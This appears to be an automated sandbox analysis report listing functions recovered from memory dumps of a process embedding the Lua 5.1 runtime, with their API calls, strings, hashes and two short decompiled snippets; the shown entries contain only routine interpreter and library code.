Instruction Fuzzy Hash: 6BE0EC6EA5662071F551A2246C43FEF214CCF167C4F454414FA14BA18FFAA9BAC242EB

Uniqueness

Uniqueness Score: -1.00%

Function 100120B0, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 25COMMON

Download Yara Rule

APIs

luaL_checkudata.LUA5.1(?,00000001,FILE*), ref: 100120BD

Part of subcall function 1000F370: lua_touserdata.LUA5.1(?,?), ref: 1000F37E
Part of subcall function 1000F370: lua_getmetatable.LUA5.1(?,?), ref: 1000F392
Part of subcall function 1000F370: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F3A5
Part of subcall function 1000F370: lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?), ref: 1000F3AF
Part of subcall function 1000F370: lua_settop.LUA5.1(?,000000FD), ref: 1000F3BE

lua_pushstring.LUA5.1(?,file (closed)), ref: 100120D1

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

lua_pushfstring.LUA5.1(?,file (%p),?), ref: 100120E7

Strings

file (closed), xrefs: 100120CB
FILE*, xrefs: 100120B5
file (%p), xrefs: 100120E1

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checkudata.lua_getfield.lua_getmetatable.lua_pushfstring.lua_pushnil.lua_pushstring.lua_rawequal.lua_settop.lua_touserdata.
String ID: FILE*$file (%p)$file (closed)
API String ID: 3359669937-2131069913
Opcode ID: f642cdfc15388aa7a0fe39c10770b5c18e589e3aec163c9b167e5ae990d15817
Instruction ID: 8cad69ec44500b3f5e6c3806fd962c68d8a02a6f1acd945abe5d2ad6e3442276
Opcode Fuzzy Hash: f642cdfc15388aa7a0fe39c10770b5c18e589e3aec163c9b167e5ae990d15817
Instruction Fuzzy Hash: 93E01279A1512037E511D11C7C42FCA22D9CF472D4F054061F904AF247E77AFED656D6

Uniqueness

Uniqueness Score: -1.00%

Function 10012380, Relevance: 10.5, APIs: 5, Strings: 1, Instructions: 24stringCOMMON

Download Yara Rule

APIs

_errno.MSVCRT ref: 10012381
strerror.MSVCRT ref: 1001238A
lua_pushfstring.LUA5.1(?,%s: %s,?,00000000), ref: 100123A0
lua_tolstring.LUA5.1(?,000000FF,00000000,?,%s: %s,?,00000000), ref: 100123AA
luaL_argerror.LUA5.1(?,?,00000000,?,000000FF,00000000,?,%s: %s,?,00000000), ref: 100123B6

Part of subcall function 1000F090: lua_getstack.LUA5.1(?,00000000), ref: 1000F0A0
Part of subcall function 1000F090: luaL_error.LUA5.1(?,bad argument #%d (%s),?,?), ref: 1000F0BC

Strings

%s: %s, xrefs: 1001239A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_argerror.L_error._errnolua_getstack.lua_pushfstring.lua_tolstring.strerror
String ID: %s: %s
API String ID: 2341505303-3740598653
Opcode ID: ba6f6361682199a0d5122f9b81f278c7fc564a0d207e062f2a6ba8c550e9450f
Instruction ID: 661110fb18202c3fd896f08fba9a1bf63a5b240d9f6e575e965159ac11e59620
Opcode Fuzzy Hash: ba6f6361682199a0d5122f9b81f278c7fc564a0d207e062f2a6ba8c550e9450f
Instruction Fuzzy Hash: 05E04F79408220BFE601DB649C45EAF336DEF89260F004208F914A7296DA34BD4286A6

Uniqueness

Uniqueness Score: -1.00%

Function 100160A0, Relevance: 10.5, APIs: 3, Strings: 3, Instructions: 20COMMON

Download Yara Rule

APIs

luaL_register.LUA5.1(?,string,100179B8), ref: 100160B0

Part of subcall function 1000F6F0: luaL_openlib.LUA5.1(?,?,?,00000000), ref: 1000F701

lua_getfield.LUA5.1(?,000000FF,gmatch,?,string,100179B8), ref: 100160BD

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_setfield.LUA5.1(?,000000FE,gfind,?,000000FF,gmatch,?,string,100179B8), ref: 100160CA

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

Part of subcall function 100160E0: lua_createtable.LUA5.1(?,00000000,00000001,?,100160D5,?,?,000000FE,gfind,?,000000FF,gmatch,?,string,100179B8), ref: 100160EA
Part of subcall function 100160E0: lua_pushlstring.LUA5.1(?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?,000000FE,gfind,?,000000FF,gmatch,?), ref: 100160F7
Part of subcall function 100160E0: lua_pushvalue.LUA5.1(?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?,000000FE,gfind,?,000000FF), ref: 100160FF
Part of subcall function 100160E0: lua_setmetatable.LUA5.1(?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?,000000FE,gfind), ref: 10016107
Part of subcall function 100160E0: lua_settop.LUA5.1(?,000000FE,?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5,?,?), ref: 1001610F
Part of subcall function 100160E0: lua_pushvalue.LUA5.1(?,000000FE,?,000000FE,?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000,00000001,?,100160D5), ref: 10016117
Part of subcall function 100160E0: lua_setfield.LUA5.1(?,000000FE,__index,?,000000FE,?,000000FE,?,000000FE,?,000000FE,?,1001AB10,00000000,?,00000000), ref: 10016124
Part of subcall function 100160E0: lua_settop.LUA5.1(?,000000FE), ref: 1001612F

Strings

gmatch, xrefs: 100160B5
string, xrefs: 100160AA
gfind, xrefs: 100160C2

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: S_newlstr.lua_pushvalue.lua_setfield.lua_settop.$L_openlib.L_register.lua_createtable.lua_getfield.lua_pushlstring.lua_setmetatable.
String ID: gfind$gmatch$string
API String ID: 1161534774-3707504225
Opcode ID: 4f66372067039b9f72e5fa2c589e089aaae015d6457d7e8cf7457cf0e7444ee7
Instruction ID: 09a7780e9b321fff0b3bfd204c2e32ee8d8600a2e0590c20f4868746b6c71fff
Opcode Fuzzy Hash: 4f66372067039b9f72e5fa2c589e089aaae015d6457d7e8cf7457cf0e7444ee7
Instruction Fuzzy Hash: 40D0C93A44E83235A502E2197C02EDF2149DF5B2B1F240715B6247E1EB9F79F6C252EE

Uniqueness

Uniqueness Score: -1.00%

Function 10012D10, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 19COMMON

Download Yara Rule

APIs

luaL_newmetatable.LUA5.1(?,FILE*,?,10012BBB,?), ref: 10012D1B

Part of subcall function 1000F310: lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F321
Part of subcall function 1000F310: lua_type.LUA5.1(?,000000FF,?,FFFFD8F0,?), ref: 1000F329

lua_pushvalue.LUA5.1(?,000000FF,?,FILE*,?,10012BBB,?), ref: 10012D23
lua_setfield.LUA5.1(?,000000FE,__index,?,000000FF,?,FILE*,?,10012BBB,?), ref: 10012D30

Part of subcall function 10001DD0: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001DFA

luaL_register.LUA5.1(?,00000000,10017778,?,000000FE,__index,?,000000FF,?,FILE*,?,10012BBB,?), ref: 10012D3D

Part of subcall function 1000F6F0: luaL_openlib.LUA5.1(?,?,?,00000000), ref: 1000F701

Strings

__index, xrefs: 10012D28
FILE*, xrefs: 10012D15

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_newmetatable.L_openlib.L_register.S_newlstr.lua_getfield.lua_pushvalue.lua_setfield.lua_type.
String ID: FILE*$__index
API String ID: 3703984340-534779304
Opcode ID: e9d7c9237462cb1040b306f61ccace929e0af6bca4f5b006b9903f01ac200f0c
Instruction ID: a1de701b51c824b365423c049d39f4ca8e9f883d9520b5e851e546e32da0eb21
Opcode Fuzzy Hash: e9d7c9237462cb1040b306f61ccace929e0af6bca4f5b006b9903f01ac200f0c
Instruction Fuzzy Hash: 6ED0C93948A53131E805E6297C42FDE2198DF472B0F200705F624399DB8F6976C211EE

Uniqueness

Uniqueness Score: -1.00%

Function 00401150, Relevance: 10.5, APIs: 4, Strings: 2, Instructions: 15
COMMON

Download Yara Rule

C-Code - Quality: 37%

			E00401150() {
				intOrPtr* _t7;

				_t7 = __imp____iob_func;
				fprintf( *_t7("Lua 5.1.4  Copyright (C) 1994-2008 Lua.org, PUC-Rio") + 0x40, "%s\n");
				return fflush( *_t7() + 0x40);
			}

0x00401151
0x00401167
0x0040117d

APIs

__iob_func.MSVCR80 ref: 00401161
fprintf.MSVCR80 ref: 00401167
__iob_func.MSVCR80 ref: 0040116D
fflush.MSVCR80 ref: 00401173

Strings

%s, xrefs: 0040115C

Memory Dump Source

Source File: 00000002.00000002.469050412.0000000000401000.00000020.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000002.00000002.469008352.0000000000400000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469103768.0000000000403000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469156229.0000000000405000.00000002.00020000.sdmp Download File

Similarity

API ID: __iob_func$fflushfprintf
API String ID: 3588425135-527811110
Opcode ID: 43d166c97d05714eb673129b745e5b67f945f16672ef17e55a233e9e0b6b6e86
Instruction ID: bf0afd1d2c5a4a70a07079607eaa99518e6590d1bf2fb26e1b53f30c15ecf297
Opcode Fuzzy Hash: 43d166c97d05714eb673129b745e5b67f945f16672ef17e55a233e9e0b6b6e86
Instruction Fuzzy Hash: 02D012B29111246BE7006F79BD4EB863E1C6D0120B3044463F446F72D5D978EE508AEC

Uniqueness

Uniqueness Score: -1.00%

Function 1000CF80, Relevance: 9.1, APIs: 6, Instructions: 130COMMON

Download Yara Rule

APIs

luaM_realloc_.LUA5.1(?,00000000,00000000,?,?), ref: 1000CFAC
luaM_toobig.LUA5.1(00000001,?), ref: 1000CFB9
luaM_realloc_.LUA5.1(?,00000000,00000000,00000000,?,?,?,?,?,?), ref: 1000CFFF
luaM_toobig.LUA5.1(00000001,?,?,?,?,?,?), ref: 1000D00C
luaM_realloc_.LUA5.1(?,00000000,00000000,00000000,?,?,?,?,?,?,?,?), ref: 1000D08D
luaM_toobig.LUA5.1(00000001,?,?,?,?,?,?,?,?), ref: 1000D09A

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: M_realloc_.M_toobig.
String ID:
API String ID: 1500966413-0
Opcode ID: f7fb4493ac0a564b0d2e7db0442d5a01001dd9fa4724d81c6bc854a2c5ca9ff1
Instruction ID: 50dc4feb0d7e6572e1a539a9202ee2fd4fc0c224850cebde236f24e70808c51d
Opcode Fuzzy Hash: f7fb4493ac0a564b0d2e7db0442d5a01001dd9fa4724d81c6bc854a2c5ca9ff1
Instruction Fuzzy Hash: E54195745003055BF320EF64D8C1F6BB3A9EB80694F50492EE9098725BEB75FA16CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 100159D0, Relevance: 9.1, APIs: 6, Instructions: 102COMMON

Download Yara Rule

APIs

lua_tolstring.LUA5.1(?,00000003,?,00000000,?,?,100158DE,?,?,?,?,00000000,00000000,?,00000000,00000000), ref: 100159E2
luaL_prepbuffer.LUA5.1(?,?,?,?,?,?,00000000,00000000,?,00000000,00000000), ref: 10015A17
_isctype.MSVCRT ref: 10015A43
luaL_prepbuffer.LUA5.1(?,?,?,?,?,?,00000000,00000000,?,00000000,00000000), ref: 10015A71
luaL_addlstring.LUA5.1(?,?,?,?,?,?,?,?,00000000,00000000,?,00000000,00000000), ref: 10015A97

Part of subcall function 1000FAC0: luaL_prepbuffer.LUA5.1(?,?,00000000,?,?,1000FB2D,?,?,?,?,1000F8CA,?,?), ref: 1000FAE5

luaL_addvalue.LUA5.1(?,?,-00000031,?,?,?,?,?,?,?,00000000,00000000,?,00000000,00000000), ref: 10015AB9

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_prepbuffer.$L_addlstring.L_addvalue._isctypelua_tolstring.
String ID:
API String ID: 537332849-0
Opcode ID: a8fa6410c0ab1ed7bae6a5c46820549d59d6a42aa57ecd7a8257957dec36a5f5
Instruction ID: 8618e358b3d80aa06ee3a4735856ef46901765415b71dec9a9a7fc33e4386299
Opcode Fuzzy Hash: a8fa6410c0ab1ed7bae6a5c46820549d59d6a42aa57ecd7a8257957dec36a5f5
Instruction Fuzzy Hash: 5931E375244241EFD312CF28CCC096AB7E5EF8A385B584A5CE5C58F206D732F845C7A2

Uniqueness

Uniqueness Score: -1.00%

Function 100122F0, Relevance: 9.1, APIs: 6, Instructions: 58fileCOMMON

Download Yara Rule

APIs

lua_type.LUA5.1(?,00000001,?,?,100122E1,?,00000001,10019B5C), ref: 100122F9
lua_tolstring.LUA5.1(?,00000001,00000000), ref: 1001230F
fopen.MSVCRT ref: 1001232C

Part of subcall function 10012380: _errno.MSVCRT ref: 10012381
Part of subcall function 10012380: strerror.MSVCRT ref: 1001238A
Part of subcall function 10012380: lua_pushfstring.LUA5.1(?,%s: %s,?,00000000), ref: 100123A0
Part of subcall function 10012380: lua_tolstring.LUA5.1(?,000000FF,00000000,?,%s: %s,?,00000000), ref: 100123AA
Part of subcall function 10012380: luaL_argerror.LUA5.1(?,?,00000000,?,000000FF,00000000,?,%s: %s,?,00000000), ref: 100123B6

lua_pushvalue.LUA5.1(?,00000001,?), ref: 10012350
lua_rawseti.LUA5.1(?,FFFFD8EF,?), ref: 1001235F

Part of subcall function 100121F0: lua_newuserdata.LUA5.1(?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600,00000001,stdin,?,1001A2F0,10017718), ref: 100121F9
Part of subcall function 100121F0: lua_getfield.LUA5.1(?,FFFFD8F0,FILE*,?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600,00000001,stdin), ref: 10012211
Part of subcall function 100121F0: lua_setmetatable.LUA5.1(?,000000FE,?,FFFFD8F0,FILE*,?,00000004,?,?,10012D5C,?,?,?,10012BF3,?,75974600), ref: 10012219

lua_rawgeti.LUA5.1(?,FFFFD8EF,?), ref: 1001236F

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_tolstring.$L_argerror._errnofopenlua_getfield.lua_newuserdata.lua_pushfstring.lua_pushvalue.lua_rawgeti.lua_rawseti.lua_setmetatable.lua_type.strerror
String ID:
API String ID: 3768674814-0
Opcode ID: 11cb38682ff4f062c90974f54079c2b08629239615d30e703ed1528e4737b76f
Instruction ID: 4a51a67e1fd0097592ac0f79a78c018b2c80e3a48640b2e3fd9fb99fee230848
Opcode Fuzzy Hash: 11cb38682ff4f062c90974f54079c2b08629239615d30e703ed1528e4737b76f
Instruction Fuzzy Hash: DD01A77555165037E6129214AC42FCF369DDF86684F040024FA18AA247E66AF7A642EA

Uniqueness

Uniqueness Score: -1.00%

Function 1000F370, Relevance: 9.1, APIs: 6, Instructions: 52COMMON

Download Yara Rule

APIs

lua_touserdata.LUA5.1(?,?), ref: 1000F37E
lua_getmetatable.LUA5.1(?,?), ref: 1000F392
lua_getfield.LUA5.1(?,FFFFD8F0,?), ref: 1000F3A5

Part of subcall function 10001B90: luaS_newlstr.LUA5.1(?,?,?,?,?), ref: 10001BBA

lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?), ref: 1000F3AF
lua_settop.LUA5.1(?,000000FD), ref: 1000F3BE
luaL_typerror.LUA5.1(?,?,?), ref: 1000F3D0

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_typerror.S_newlstr.lua_getfield.lua_getmetatable.lua_rawequal.lua_settop.lua_touserdata.
String ID:
API String ID: 4045892701-0
Opcode ID: eaa29c6c229bd4ba965cc7be840cba9639871252a7723a3abd3b9f21d727591a
Instruction ID: d59195d5c59cf0f8a2346cfd1e31cf4d255938569931837547447e2bf4427120
Opcode Fuzzy Hash: eaa29c6c229bd4ba965cc7be840cba9639871252a7723a3abd3b9f21d727591a
Instruction Fuzzy Hash: 89F0962B615225336501915A6C01DEF77CCCFC70F6B15033AF924A228AFB06BB1652F6

Uniqueness

Uniqueness Score: -1.00%

Function 10016CF0, Relevance: 9.0, APIs: 6, Instructions: 40COMMON

Download Yara Rule

APIs

getenv.MSVCRT ref: 10016CF6
lua_pushstring.LUA5.1(?,?), ref: 10016D0D

Part of subcall function 10001980: lua_pushnil.LUA5.1(?), ref: 1000198D

luaL_gsub.LUA5.1(?,00000000,1001AADC,1001AAE0), ref: 10016D27
luaL_gsub.LUA5.1(?,00000000,1001AAD8,?,?,00000000,1001AADC,1001AAE0), ref: 10016D38
lua_remove.LUA5.1(?,000000FE,?,00000000,1001AAD8,?,?,00000000,1001AADC,1001AAE0), ref: 10016D40
lua_setfield.LUA5.1(?,000000FE,?,?), ref: 10016D56

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_gsub.$getenvlua_pushnil.lua_pushstring.lua_remove.lua_setfield.
String ID:
API String ID: 941839230-0
Opcode ID: a2801ae4ba04aa6ba88c583bbb9861bc675b991a8601491d6bd53ddd7d1877af
Instruction ID: d9ee5809deeb4d5c9fa2668e28b6b948c8900116cc0812c53cdaae3d0c4ecef9
Opcode Fuzzy Hash: a2801ae4ba04aa6ba88c583bbb9861bc675b991a8601491d6bd53ddd7d1877af
Instruction Fuzzy Hash: 4CF0B4B99091217BA201D754ED02CEF32ACDF8A1A4F044608FA546B542EB30FDC183E7

Uniqueness

Uniqueness Score: -1.00%

Function 00593050, Relevance: 9.0, APIs: 6, Instructions: 39COMMON

Download Yara Rule

APIs

lua_pushvalue.LUA5.1(?,FFFFD8ED), ref: 0059305B
lua_insert.LUA5.1(?,00000001,?,FFFFD8ED), ref: 00593063
lua_gettop.LUA5.1(?,000000FF,00000000), ref: 00593070
lua_pcall.LUA5.1(?,-00000001,00000000), ref: 0059307B
lua_gettop.LUA5.1(?), ref: 005930A8

Part of subcall function 005930C0: lua_type.LUA5.1(0059308D,000000FF,?,0059308D,?), ref: 005930C8
Part of subcall function 005930C0: lua_pushnumber.LUA5.1(0059308D,00000000,3FF00000,0059308D,?), ref: 005930DD
Part of subcall function 005930C0: lua_gettable.LUA5.1(0059308D,000000FE,0059308D,00000000,3FF00000,0059308D,?), ref: 005930E5
Part of subcall function 005930C0: lua_pushnil.LUA5.1(0059308D,0059308D,000000FE,0059308D,00000000,3FF00000,0059308D,?), ref: 005930EB
Part of subcall function 005930C0: lua_insert.LUA5.1(0059308D,000000FE,0059308D,0059308D,000000FE,0059308D,00000000,3FF00000,0059308D,?), ref: 005930F3

lua_error.LUA5.1(?), ref: 0059309C

Memory Dump Source

Source File: 00000002.00000002.469704074.0000000000591000.00000020.00020000.sdmp, Offset: 00590000, based on PE: true

Associated: 00000002.00000002.469680317.0000000000590000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469736772.0000000000595000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.469762517.0000000000596000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.469833584.0000000000597000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_gettop.lua_insert.$lua_error.lua_gettable.lua_pcall.lua_pushnil.lua_pushnumber.lua_pushvalue.lua_type.
String ID:
API String ID: 1431134089-0
Opcode ID: c766117ff7a7e21c4a7e2122d514fc0b9afaadaf975e788fdb391c9689af0a08
Instruction ID: 544ae4760b2e4cd09b5620c811511f0c6a577eadf6dbc2788a6626961e364248
Opcode Fuzzy Hash: c766117ff7a7e21c4a7e2122d514fc0b9afaadaf975e788fdb391c9689af0a08
Instruction Fuzzy Hash: DCF030A290653266FE1132283C0FFEF1949AF91324F080560F81691297FA05DF5744EB

Uniqueness

Uniqueness Score: -1.00%

Function 005E1110, Relevance: 9.0, APIs: 6, Instructions: 38
COMMON

Download Yara Rule

C-Code - Quality: 68%

			E005E1110(void* __eax, void* __ebx, void* __esi, intOrPtr _a4) {
				intOrPtr _t4;

				L005E3F0E();
				if(__eax == 0) {
					L4:
					return 0;
				} else {
					L005E3F08();
					if(__eax == 0) {
						goto L4;
					} else {
						_t4 = _a4;
						_push(_t4);
						_push(0xffffd8f0);
						L005E3F02();
						_push(0xfffffffe);
						_push(0xffffffff);
						L005E3EFC();
						_push(0xfffffffd);
						if(_t4 != 0) {
							L005E3EF6();
							return __eax;
						} else {
							L005E3EF6();
							goto L4;
						}
					}
				}
			}

0x005e1113
0x005e111f
0x005e115b
0x005e115e
0x005e1121
0x005e1123
0x005e112d
0x00000000
0x005e112f
0x005e112f
0x005e1133
0x005e1134
0x005e113a
0x005e113f
0x005e1141
0x005e1144
0x005e114e
0x005e1151
0x005e115f
0x005e116a
0x005e1153
0x005e1153
0x00000000
0x005e1158
0x005e1151
0x005e112d

APIs

lua_touserdata.LUA5.1(?,00000001,?,005E1390,alien_library), ref: 005E1113
lua_getmetatable.LUA5.1(?,00000001,alien_library), ref: 005E1123
lua_getfield.LUA5.1(?,FFFFD8F0,?,?,?,alien_library), ref: 005E113A
lua_rawequal.LUA5.1(?,000000FF,000000FE,?,FFFFD8F0,?,?,?,alien_library), ref: 005E1144
lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E1153
lua_settop.LUA5.1(?,000000FD,?,?,?,?,?,?,?,?,alien_library), ref: 005E115F

Memory Dump Source

Source File: 00000002.00000002.470086883.00000000005E1000.00000020.00020000.sdmp, Offset: 005E0000, based on PE: true

Associated: 00000002.00000002.470056467.00000000005E0000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470120189.00000000005E5000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.470145709.00000000005E7000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.470178146.00000000005E8000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_settop.$lua_getfield.lua_getmetatable.lua_rawequal.lua_touserdata.
String ID:
API String ID: 3874516477-0
Opcode ID: 308fa86939892b2da246c52da84e4241826dfeefe53ccbfc2c1f6500d3fdfdcd
Instruction ID: 63316616192cb43212750c6eda2207edb66fa6d9cc22f5f0fbc7b326c9e8ab3d
Opcode Fuzzy Hash: 308fa86939892b2da246c52da84e4241826dfeefe53ccbfc2c1f6500d3fdfdcd
Instruction Fuzzy Hash: 97E06DA2A0C8A3365B19312F2C0FD6F1D5D6DD2371B680364FDF4923C5F9198B0681BA

Uniqueness

Uniqueness Score: -1.00%

Function 10014090, Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

luaL_checktype.LUA5.1(?,00000001,00000005), ref: 1001409B

Part of subcall function 1000F410: lua_type.LUA5.1(?,?), ref: 1000F41C

lua_objlen.LUA5.1(?,00000001,?,00000001,00000005), ref: 100140A3
luaL_checkstack.LUA5.1(?,00000028,1001AB10,?,00000001,?,00000001,00000005), ref: 100140B2

Part of subcall function 1000F3E0: lua_checkstack.LUA5.1(?,?), ref: 1000F3EB
Part of subcall function 1000F3E0: luaL_error.LUA5.1(?,stack overflow (%s),?), ref: 1000F402

lua_type.LUA5.1(?,00000002,?,00000028,1001AB10,?,00000001,?,00000001,00000005), ref: 100140BA
luaL_checktype.LUA5.1(?,00000002,00000006), ref: 100140CB
lua_settop.LUA5.1(?,00000002), ref: 100140D6

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: L_checktype.lua_type.$L_checkstack.L_error.lua_checkstack.lua_objlen.lua_settop.
String ID:
API String ID: 3078066390-0
Opcode ID: f240f2d54f64836eeffede150dfa05b4051c4c2cc95f63eac0f64b8de2bb5f86
Instruction ID: 67fd905511d9e9f20ec9fd6d3d5db2b0a6b9d656d49aa7d8d6768c1972ccc8cb
Opcode Fuzzy Hash: f240f2d54f64836eeffede150dfa05b4051c4c2cc95f63eac0f64b8de2bb5f86
Instruction Fuzzy Hash: F2F06D6DB9662031F431A1253C4BFCF118DCF86BD5F014424B700BA1CBEAE6B6D201AA

Uniqueness

Uniqueness Score: -1.00%

Function 1000F630, Relevance: 9.0, APIs: 6, Instructions: 38COMMON

Download Yara Rule

APIs

lua_getmetatable.LUA5.1(?,?), ref: 1000F63B
lua_pushstring.LUA5.1(?,?), ref: 1000F64F
lua_rawget.LUA5.1(?,000000FE,?,?), ref: 1000F657
lua_type.LUA5.1(?,000000FF,?,000000FE,?,?), ref: 1000F65F
lua_settop.LUA5.1(?,000000FD), ref: 1000F66E

Memory Dump Source

Source File: 00000002.00000002.475957252.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 00000002.00000002.475931047.0000000010000000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476116542.0000000010017000.00000002.00020000.sdmp Download File
Associated: 00000002.00000002.476153964.0000000010019000.00000008.00020000.sdmp Download File
Associated: 00000002.00000002.476172415.000000001001A000.00000004.00020000.sdmp Download File
Associated: 00000002.00000002.476197057.000000001001B000.00000002.00020000.sdmp Download File

Similarity

API ID: lua_getmetatable.lua_pushstring.lua_rawget.lua_settop.lua_type.
String ID:
API String ID: 1082009019-0
Opcode ID: 0c6d903d25db60788e1f1af913689dd48f1d29e6d288e5af5f2bd1ab785a17a8
Instruction ID: 57cf5f7c9982df1ce4461b2f1fe043414c9d5d188cb73654464fa66cb5ec864b
Opcode Fuzzy Hash: 0c6d903d25db60788e1f1af913689dd48f1d29e6d288e5af5f2bd1ab785a17a8
